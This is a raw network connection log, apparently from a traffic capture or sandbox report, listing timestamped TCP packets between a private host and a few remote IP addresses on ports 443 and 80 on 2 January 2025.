Jan 2, 2025 20:29:36.750437021 CET	49788	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:36.836154938 CET	443	49789	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:36.836246967 CET	49789	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:36.836949110 CET	443	49789	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:36.837116957 CET	49789	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:36.839126110 CET	49788	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:36.839143991 CET	443	49788	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:36.839627981 CET	443	49788	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:36.839683056 CET	49788	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:36.842163086 CET	49788	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:36.843981028 CET	49789	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:36.844012022 CET	443	49789	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:36.844309092 CET	443	49789	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:36.844671011 CET	49789	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:36.844994068 CET	49789	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:36.862662077 CET	49797	80	192.168.2.9	69.42.215.252
Jan 2, 2025 20:29:36.867449999 CET	80	49797	69.42.215.252	192.168.2.9
Jan 2, 2025 20:29:36.867530107 CET	49797	80	192.168.2.9	69.42.215.252
Jan 2, 2025 20:29:36.867754936 CET	49797	80	192.168.2.9	69.42.215.252
Jan 2, 2025 20:29:36.872556925 CET	80	49797	69.42.215.252	192.168.2.9
Jan 2, 2025 20:29:36.883333921 CET	443	49788	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:36.891324997 CET	443	49789	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:37.136718035 CET	443	49788	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:37.136821985 CET	49788	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:37.136847019 CET	443	49788	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:37.136940002 CET	49788	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:37.137156010 CET	49788	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:37.137207031 CET	443	49788	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:37.137254953 CET	49788	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:37.138586044 CET	49802	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:37.138652086 CET	443	49802	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:37.138793945 CET	49802	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:37.148396969 CET	49802	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:37.148413897 CET	443	49802	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:37.157278061 CET	49803	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:37.157315969 CET	443	49803	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:37.157378912 CET	49803	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:37.157670975 CET	49803	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:37.157681942 CET	443	49803	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:37.224150896 CET	443	49789	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:37.224324942 CET	49789	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:37.224344015 CET	443	49789	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:37.224632978 CET	49789	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:37.224632978 CET	49789	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:37.224678040 CET	443	49789	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:37.224797964 CET	49789	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:37.224801064 CET	443	49789	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:37.225294113 CET	49789	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:37.225395918 CET	49804	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:37.225444078 CET	443	49804	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:37.225464106 CET	49805	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:37.225495100 CET	443	49805	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:37.225516081 CET	49804	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:37.225542068 CET	49805	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:37.225786924 CET	49804	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:37.225801945 CET	443	49804	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:37.225845098 CET	49805	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:37.225858927 CET	443	49805	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:37.479986906 CET	80	49797	69.42.215.252	192.168.2.9
Jan 2, 2025 20:29:37.480367899 CET	49797	80	192.168.2.9	69.42.215.252
Jan 2, 2025 20:29:37.789854050 CET	443	49802	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:37.790000916 CET	49802	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:37.790628910 CET	443	49802	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:37.791085005 CET	49802	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:37.795882940 CET	443	49803	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:37.795957088 CET	49803	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:37.867487907 CET	443	49804	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:37.867645025 CET	49804	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:37.868264914 CET	443	49804	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:37.868333101 CET	49804	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:37.888622046 CET	443	49805	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:37.889549017 CET	49805	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:38.093450069 CET	49802	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:38.093466997 CET	443	49802	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:38.093940020 CET	443	49802	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:38.094167948 CET	49802	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:38.097660065 CET	49802	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:38.097723961 CET	49803	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:38.097740889 CET	443	49803	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:38.098050117 CET	443	49803	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:38.098121881 CET	49803	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:38.101640940 CET	49803	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:38.106730938 CET	49804	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:38.106759071 CET	443	49804	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:38.107029915 CET	443	49804	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:38.107104063 CET	49804	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:38.111686945 CET	49804	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:38.112747908 CET	49805	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:38.112773895 CET	443	49805	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:38.113418102 CET	443	49805	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:38.113693953 CET	49805	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:38.114825010 CET	49805	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:38.143326998 CET	443	49802	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:38.147329092 CET	443	49803	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:38.159326077 CET	443	49805	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:38.159327984 CET	443	49804	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:38.412010908 CET	443	49802	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:38.413547993 CET	443	49802	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:38.413798094 CET	49802	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:38.413798094 CET	49802	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:38.413844109 CET	49802	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:38.414446115 CET	49813	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:38.414496899 CET	443	49813	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:38.415159941 CET	49813	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:38.415590048 CET	49813	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:38.415601969 CET	443	49813	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:38.423471928 CET	443	49804	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:38.424552917 CET	443	49804	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:38.424665928 CET	49804	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:38.424942970 CET	49804	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:38.424959898 CET	443	49804	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:38.425437927 CET	49814	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:38.425483942 CET	443	49814	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:38.427150965 CET	49814	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:38.427457094 CET	49814	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:38.427465916 CET	443	49814	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:38.459023952 CET	443	49803	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:38.459135056 CET	49803	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:38.459151030 CET	443	49803	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:38.459183931 CET	443	49803	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:38.459188938 CET	49803	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:38.459218025 CET	443	49803	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:38.459224939 CET	49803	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:38.459541082 CET	443	49803	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:38.459584951 CET	49803	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:38.470371962 CET	49803	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:38.470386028 CET	443	49803	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:38.471476078 CET	49815	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:38.471518040 CET	443	49815	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:38.471728086 CET	49815	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:38.472634077 CET	49815	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:38.472642899 CET	443	49815	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:38.617819071 CET	443	49805	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:38.617867947 CET	443	49805	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:38.617891073 CET	49805	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:38.617906094 CET	443	49805	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:38.617917061 CET	49805	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:38.617969990 CET	443	49805	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:38.618036032 CET	49805	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:38.618036032 CET	49805	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:38.634538889 CET	49805	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:38.634555101 CET	443	49805	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:38.634886026 CET	49816	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:38.634910107 CET	443	49816	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:38.634973049 CET	49816	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:38.635360003 CET	49816	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:38.635370016 CET	443	49816	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:39.075252056 CET	443	49814	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:39.075308084 CET	49814	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:39.076209068 CET	49814	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:39.076219082 CET	443	49814	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:39.078495026 CET	49814	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:39.078504086 CET	443	49814	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:39.101748943 CET	443	49813	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:39.101828098 CET	49813	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:39.102420092 CET	49813	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:39.102428913 CET	443	49813	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:39.105804920 CET	49813	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:39.105819941 CET	443	49813	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:39.164885998 CET	443	49815	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:39.164952993 CET	49815	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:39.165641069 CET	49815	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:39.165652990 CET	443	49815	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:39.165895939 CET	49815	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:39.165900946 CET	443	49815	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:39.308732033 CET	443	49816	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:39.308948040 CET	49816	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:39.309340000 CET	49816	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:39.309348106 CET	443	49816	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:39.309562922 CET	49816	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:39.309567928 CET	443	49816	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:39.478857040 CET	443	49814	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:39.478915930 CET	49814	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:39.478950977 CET	443	49814	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:39.478993893 CET	49814	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:39.479907990 CET	443	49814	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:39.479953051 CET	49814	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:39.479969978 CET	443	49814	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:39.480005026 CET	49814	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:39.481862068 CET	49814	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:39.481883049 CET	443	49814	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:39.483772993 CET	49824	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:39.483819962 CET	443	49824	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:39.483882904 CET	49824	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:39.484143972 CET	49824	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:39.484158039 CET	443	49824	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:39.492141962 CET	443	49813	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:39.492208004 CET	49813	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:39.492238998 CET	443	49813	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:39.492275953 CET	49813	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:39.492366076 CET	49813	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:39.492408037 CET	443	49813	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:39.492450953 CET	49813	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:39.493128061 CET	49825	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:39.493175030 CET	443	49825	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:39.493263960 CET	49825	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:39.494174957 CET	49825	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:39.494199038 CET	443	49825	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:39.579205990 CET	443	49815	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:39.579258919 CET	443	49815	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:39.579273939 CET	49815	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:39.579297066 CET	443	49815	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:39.579308033 CET	49815	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:39.579360962 CET	443	49815	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:39.579406023 CET	49815	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:39.580322981 CET	49815	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:39.580336094 CET	443	49815	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:39.581032038 CET	49826	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:39.581079960 CET	443	49826	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:39.581156015 CET	49826	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:39.581599951 CET	49826	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:39.581610918 CET	443	49826	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:39.737016916 CET	443	49816	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:39.737057924 CET	443	49816	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:39.737092018 CET	49816	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:39.737092018 CET	49816	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:39.737117052 CET	443	49816	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:39.737171888 CET	49816	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:39.737178087 CET	443	49816	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:39.737194061 CET	443	49816	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:39.737237930 CET	49816	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:39.737237930 CET	49816	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:39.738668919 CET	49816	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:39.738687038 CET	443	49816	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:39.740068913 CET	49827	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:39.740109921 CET	443	49827	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:39.740187883 CET	49827	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:39.740417957 CET	49827	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:39.740431070 CET	443	49827	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:40.140532017 CET	443	49824	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:40.140613079 CET	49824	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.141330957 CET	443	49824	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:40.141375065 CET	49824	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.143610954 CET	443	49825	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:40.143718958 CET	49825	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.144392967 CET	443	49825	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:40.144479036 CET	49825	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.148302078 CET	49824	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.148317099 CET	443	49824	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:40.148668051 CET	443	49824	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:40.148710966 CET	49824	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.149414062 CET	49824	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.150939941 CET	49825	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.150954008 CET	443	49825	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:40.151202917 CET	443	49825	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:40.151438951 CET	49825	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.151812077 CET	49825	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.195333958 CET	443	49824	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:40.199331045 CET	443	49825	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:40.231252909 CET	443	49826	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:40.232491016 CET	49826	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:40.237751961 CET	49826	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:40.237782955 CET	443	49826	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:40.239797115 CET	49826	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:40.239805937 CET	443	49826	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:40.368315935 CET	443	49827	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:40.368370056 CET	49827	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:40.376053095 CET	49827	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:40.376060009 CET	443	49827	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:40.376491070 CET	49827	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:40.376494884 CET	443	49827	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:40.531217098 CET	443	49825	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:40.531301022 CET	49825	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.531317949 CET	443	49825	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:40.531383038 CET	49825	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.531611919 CET	49825	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.531649113 CET	443	49825	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:40.531701088 CET	49825	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.532058954 CET	443	49824	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:40.532114029 CET	49824	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.532762051 CET	49837	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.532803059 CET	443	49837	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:40.532942057 CET	49837	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.533088923 CET	49824	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.533119917 CET	443	49824	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:40.533196926 CET	49824	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.533210993 CET	49824	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.533212900 CET	443	49824	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:40.533293009 CET	49824	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.533816099 CET	49838	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.533838987 CET	443	49838	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:40.533894062 CET	49838	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.534589052 CET	49838	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.534609079 CET	443	49838	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:40.535056114 CET	49837	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.535069942 CET	443	49837	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:40.666893005 CET	443	49826	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:40.666929960 CET	443	49826	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:40.667025089 CET	49826	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:40.667066097 CET	443	49826	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:40.667283058 CET	49826	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:40.669353962 CET	443	49826	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:40.669404984 CET	443	49826	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:40.669469118 CET	49826	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:40.825465918 CET	443	49827	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:40.825522900 CET	443	49827	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:40.825615883 CET	49827	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:40.825629950 CET	443	49827	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:40.825643063 CET	443	49827	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:40.825669050 CET	49827	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:40.825705051 CET	49827	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:40.842371941 CET	49826	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:40.842405081 CET	443	49826	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:40.847028017 CET	49827	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:40.847054958 CET	49838	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.847115040 CET	49837	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.851412058 CET	49841	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:40.851453066 CET	443	49841	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:40.851543903 CET	49841	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:40.864353895 CET	49842	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.864391088 CET	443	49842	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:40.864460945 CET	49842	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.875415087 CET	49841	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:40.875442028 CET	443	49841	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:40.876207113 CET	49842	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.876240969 CET	443	49842	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:40.883336067 CET	49843	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:40.883358955 CET	443	49843	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:40.883709908 CET	49843	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:40.883955956 CET	49843	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:40.883966923 CET	443	49843	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:40.887146950 CET	49844	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.887171030 CET	443	49844	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:40.887250900 CET	49844	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.893184900 CET	49844	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:40.893210888 CET	443	49844	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:41.529784918 CET	443	49843	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:41.529860020 CET	49843	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:41.530333996 CET	49843	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:41.530347109 CET	443	49843	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:41.530670881 CET	49843	443	192.168.2.9	216.58.206.65
Jan 2, 2025 20:29:41.530678988 CET	443	49843	216.58.206.65	192.168.2.9
Jan 2, 2025 20:29:41.534941912 CET	443	49844	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:41.535022020 CET	49844	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:41.536211014 CET	443	49844	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:41.536307096 CET	49844	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:41.540029049 CET	49844	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:41.540041924 CET	443	49844	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:41.540409088 CET	443	49844	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:41.540493965 CET	49844	443	192.168.2.9	172.217.18.14
